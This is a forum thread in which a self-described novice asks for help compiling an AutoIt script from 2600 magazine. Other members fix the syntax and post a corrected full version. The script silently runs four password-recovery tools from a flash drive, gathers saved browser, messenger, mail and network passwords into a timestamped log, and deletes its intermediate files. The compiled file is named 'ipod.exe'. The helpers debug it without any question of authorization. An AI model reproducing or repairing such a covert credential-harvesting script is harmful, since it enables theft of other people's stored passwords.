Jump to content

unterminated string?


Recommended Posts

ok, so i got this script out of 2600 quarterly...it's supposed to recover saved passwords on a computer...i have the four applications on the flash drive all ready, so i entered this script into the autoit v3 script editor, and i opened aut2exe script compiler to make it an .exe...but when i try, it says "error: unterminated string"

am i missing anything somewhere? i checked it many times.

here is the script:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext

..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext

..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext

..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)

sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext

..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)

sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"',

sleep(1000)

Dim $DateTime, $Location, $FileName

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN &

"-" & @SEC

$Location = @WorkingDir & '\new\'

$FileName = "all.txt"

FileMove($Location & $FileName , $Location & $DateTime & ".log",1)

sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)

sleep(1000)

Link to comment
Share on other sites

Write your setence in single line not multiple:

wrong:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext

..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

correct:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)

note: Here, I don't know about the arguments, but this error message("unterminated string") is because this reason.

Link to comment
Share on other sites

ahh thanks a lot! i really dont know much of anything about this stuff....it worked, thanks again!

EDIT: actually, it doesn't work. now it says "Error: Error parsing function call." it looks like this:

Line 0 (File "K:\ipod.exe"):

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt",

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt..\Password\New\all.txt"^ERROR

Error: Error parsing function call.

what did i do wrong noww?

Edited by maradona
Link to comment
Share on other sites

you probably lost the 2 parameters somewhere... :rolleyes:

Run(@ComSpec & ' /k "..\Password\Software\PSPV.exe /stext ..\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\IM.exe /stext ..\Password\NewIM.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Mail.exe /stext ..\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)
Sleep(200)

Run(@ComSpec & ' /k "..\Password\Software\Network.exe /stext ..\Password\New\Network.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)

Run(@ComSpec & ' /k "COPY ..\Password\New\*.txt ..\Password\New\all.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)

Dim $DateTime, $Location, $FileName
$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC
$Location = @WorkingDir & '\new\'
$FileName = "all.txt"
FileMove($Location & $FileName, $Location & $DateTime & ".log", 1)
Sleep(2000)

Run(@ComSpec & ' /k "del ..\Password\New\*.txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)
CoProc Multi Process Helper libraryTrashBin.nfshost.com store your AutoIt related files here!AutoIt User Map
Link to comment
Share on other sites

thanks, i don't get any error messages now.

so this should be creating a text file with the gathered information, right?

ummm....where does it create it to? lol sorry.....a noob here....

all four applications are on a flash drive, and i put the .exe compiled from the script there also. i run the script exe and it opens for about 4 seconds in the system tray, but i don't see any text files...? i checked hidden files also

Link to comment
Share on other sites

ok i fixed that...

but now it says error in expression

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC

$DateTime =^ERROR

now whats wrong?

Nothing at all wrong with that line:

$DateTime = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & "-" & @MIN & "-" & @SEC
MsgBox(64, "Results", $DateTime)

If you have unpaired quotes or parens earlier in the script, you might see a problem like that.

:rolleyes:

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...